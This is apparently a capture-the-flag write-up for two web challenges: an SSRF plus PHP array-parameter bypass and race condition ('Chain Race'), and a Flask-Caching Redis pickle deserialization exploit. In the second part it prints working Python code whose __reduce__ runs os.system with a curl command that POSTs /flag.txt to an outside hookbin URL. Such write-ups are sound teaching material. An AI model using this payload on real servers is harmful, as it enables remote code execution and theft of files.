Chain Race

Web [475 pts]

Description: All files are included. Source code is the key.

When we first visit the website, we see that there is an input for URLs and that this renders the HTML content below:

After trying several PHP attack methods to try to get a foothold, using localhost:8080 provided the source code for index.php via SSRF.

It seems like we have to craft our input to be localhost:8080/index.php?user=??&secret=??

Bypassing the first if statement, we just need user to be anything other than ‘admin’

Bypassing the second, we need to use secret[]=1 because it will evaluate to null which breaks the condition

Now $login_1 and $login_2 are both 1, we need to bypass @unlink() which deletes a filename, in our case it is generated using a hash combination of date(‘ms’) and $_COOKIE[‘PHPSESSID’]. The session is created and destroyed rather quickly and this can lead to a race condition if many requests are made in synchronized time.

We could solve this by sending requests in a synchronized time to cause the race condition. I tried out nccgroup’s enhancement of python requests called requests_racer.

https://github.com/nccgroup/requests-racer

Using a quick script, we are able to get a flag with ~100 synchronized requests:

flask_caching

Web [300 pts]

Description: cache all the things (this is python3)

This challenge provides us with source code:

We see that their server is using Redis for caching and flask_caching library. Looking at the form, we see that each input is treated as a key (title) and value (content). Looking into the cache functions, I found this source to be helpful for the challenge:

https://stackoverflow.com/questions/32094249/how-do-i-work-with-cached-values-created-by-flask-cache

It appears the default key when using cache functions in flask is “flask_cache_view/<path>” , so we can temporarily store malicious values in one of the keys that Redis is using. From the above link, it states that having a b'!' in front of a pickled object will lead to RedisCache unpickling. This can lead to RCE.

So we craft our pickle object with our exploit and append a b'!' in front of it. The description says it is in Python3 so we make sure to serialize our object in Python3.

import pickle
import os

exp = open("exploit", "wb")

exp.write(b'!')

class RCE(dict):
    def __reduce__(self):
        cmd = ("curl -X POST -H 'Content-Type: application/json' -d '@/flag.txt' https://hookb.in/9XgpbdRPnDS600eMoRR6")
        return os.system, (cmd,)

exp.write(pickle.dumps(RCE()))

exp.close()

There are multiple ways to get the flag, I just curled the flag in POST data to my hookbin, our input will look like this:

After sending this and visiting /test24, we notice there is a delay, which means our object was deserialized. Looking at our hookbin, we see the flag came through: